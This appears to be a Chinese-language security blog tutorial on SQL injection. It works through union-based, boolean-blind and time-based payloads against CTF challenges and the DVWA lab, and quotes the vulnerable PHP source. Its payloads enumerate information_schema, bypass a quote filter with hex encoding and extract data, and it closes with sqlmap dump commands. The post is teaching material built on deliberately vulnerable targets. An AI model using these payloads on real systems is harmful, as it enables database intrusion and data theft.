iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 6
0
Security

資訊安全的美味雜炊系列 第 6

[Day6] - SQL injection (2)

  • 分享至 

  • xImage
  •  

Day6 - SQL injection (2)

前言

  • 今天會介紹SQL injection的各種姿勢,若有初次看到都會有驚訝的狀況相當正常,因為筆者第一次看到也覺得很驚訝
  • 在此篇結尾也會介紹sql injection懶人工具SQLMAP
  • 以下就拿 https://hackme.inndy.tw/scoreboard/ 的範例來做

第一式 - Union-based

  • 利用 UNION 把 SELECT 放在SQL 語句後面,藉此改變原本搜尋的結果

  • 而在MySQL中,有information_schema這張表,他會記錄整個database的table跟column,因此就可以針對information_schema搭配union select,來找db裡面的東西

  • 接下來我們用以下Login as Admin 0此題來作範例,目標是拿到FLAG,首先先看Source code

Login as Admin 0

  • 看一下source code
function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}

$_POST = array_map(safe_filter, $_POST);

$user = null;

// connect to database

if(!empty($_POST['name']) && !empty($_POST['password'])) {
    $connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
    $db = new PDO($connection_string, DB_USER, DB_PASS);
    $sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
        $_POST['name'],
        $_POST['password']
    );
    try {
        $query = $db->query($sql);
        if($query) {
            $user = $query->fetchObject();
        } else {
            $user = false;
        }
    } catch(Exception $e) {
        $user = false;
    }
}
  • 首先過濾的or 1=1,drop, update, delete等字眼,並把'換成\\'
    • 恩,所以我就用以下payload,將搜尋結果變成True
      • payload: admin\' or 2=2 #
    • 不過我的身分依然不是admin,所以我就在想是不是query結果仍然是guest
    • 於是我嘗試用limitlimit用法為(offset, length),把user換成下一個
      • payload: admin\' or 2=2 limit 1,1#
      • 恩,於是就拿到第一個flag了

Login as Admin 0.1

  • 這時候就使用UNION SELECT來構造payload,首先我們要先猜這張表有幾個column
    • admin\' union select 1 #
      • 失敗
    • admin\' union select 1,2 #
      • 失敗
    • admin\' union select 1,2,3 #
      • 失敗
    • admin\' union select 1,2,3,4 #
      • 成功登入
      • 並且發現只有2會回顯

SQL系統資訊的function

  • 資料庫名
    • database()
  • 資料庫版本
    • version()
  • 資料庫使用者
    • user()

往information_schema前進

  • group_concat()

    • MySQL能夠將query出來的結果以,形式隔開
  • 列出所有的Database

    • admin\' union select 1,group_concat(schema_name),3,4 from information_schema.schemata #
        • 看起來DB就只有login_as_admin0
  • 指定該db下所有的Table

    • admin\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
      • 恩很明顯我要看的table是h1dden_f14g
  • Table下所有的column

    • admin\' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=\'h1dden_f14g\' #
      • 失敗了,似乎是where在搞鬼,必須要用其他手法繞過(例如:hex)
    • admin\' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=0x68316464656e5f66313467 #
      • 真香,只有一個column叫the_f14g
  • 直接查囉
    admin\' union select 1,group_concat(the_f14g),3,4 from login_as_admin0.h1dden_f14g #
    * 拿到flag囉

第二式 - boolean-based

  • 只會得知這個query是True或False
    • 舉例來說,如果True的狀態可能就會直接回顯結果,False的話就直接有error訊息或是無任何回顯

DVWA - SQL-Injection(blind) Low

  • DVWA安裝,可以參考官網連結,裡面也有提供docker版本

  • 這邊我就拿DVWA當例子,我們可以先用簡單的boolean邏輯做測試,依照回傳的true/false判斷回傳資訊

# User ID exists in the database.
1' and 1=1

# User ID is MISSING from the database.
1' and 1=2
  • 接下來可以用以下的方式,來猜出資料庫裡的內容
# 猜db長度
1' and length(database())=4 #
# 猜db名字(1-index),>,=,<二分法找名字
1' and ascii(substr(database(),1,1))>97
# 找幾張表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
# limit <index> <count>,猜表的名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97

  • 因為過程太過冗長,必須一步一步去猜,可以使用爆破工具(ex: BurpSuite),之後文章我們會做介紹,這邊就先不細講

我印象中以前小時候有玩過只能問是否問題的遊戲,透過不斷地問是否,來猜出對方心中想的答案

第三式 - time-based

  • 對駭客來說更艱困的情況,連True/False都無法看到,這時候就只能用時間差來做攻擊

    • 舉例來說,語句成功我就讓他sleep(3),失敗則不sleep(),也就是如果我等3秒代表語句為True
  • 透過IF()這個function,True則執行第二個參數,False則執行第三個參數

# 簡單的time-base範例
1 and if(length(database())=4,sleep(5),1) #

DVWA - SQL-Injection(Blind) High

  • 當query查詢為空的時候,則會執行sleep(),藉此擾亂時間注入攻擊的結果
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

作弊式 - SQLMAP

  • 請注意,用此工具打公家機關或其他機構網站,有可能會構成電腦犯罪,請小心使用

  • 恩,懶人工具,整合了上述的所有injection技巧,能夠在不知道SQL Query的狀態下打出東西

  • https://github.com/sqlmapproject/sqlmap

  • 以下就列幾個常用的

# 查看db
python sqlmap.py -u <url> --dbs
# 查看DB裡有甚麼表
python sqlmap.py -u <url> -D <db> --tables
# 查看table裡有甚麼column
python sqlmap.py -u <url> -D <db> -T <table> --columns
# 把資料dump下來
python sqlmap.py -u <url> -D <db> -T <table> --dump

上一篇
[Day5] - SQL injection (1)
下一篇
[Day7] - PHP(LFI/RFI)
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言